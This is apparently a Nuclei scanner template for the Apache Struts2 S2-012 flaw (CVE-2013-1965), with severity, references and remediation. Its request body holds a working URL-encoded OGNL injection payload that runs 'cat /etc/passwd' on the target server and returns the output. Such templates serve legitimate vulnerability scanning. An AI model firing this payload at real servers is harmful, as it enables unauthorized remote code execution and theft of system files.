Apache Struts2 S2-012 RCE

id: CVE-2013-1965

info:
  name: Apache Struts2 S2-012 RCE
  author: pikpikcu
  severity: critical
  description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
  remediation: Developers should immediately upgrade to Struts 2.3.14.3 or later.
  reference:
    - http://struts.apache.org/development/2.x/docs/s2-012.html
    - https://nvd.nist.gov/vuln/detail/CVE-2013-1965
    - https://bugzilla.redhat.com/show_bug.cgi?id=967655
    - https://github.com/CrackerCat/myhktools
    - https://github.com/GhostTroops/myhktools
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2013-1965
    cwe-id: CWE-94
    epss-score: 0.00813
    epss-percentile: 0.79935
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
  tags: cve2013,cve,apache,rce,struts,ognl

http:
  - method: POST
    path:
      - "{{BaseURL}}/user.action"

    body: |
      name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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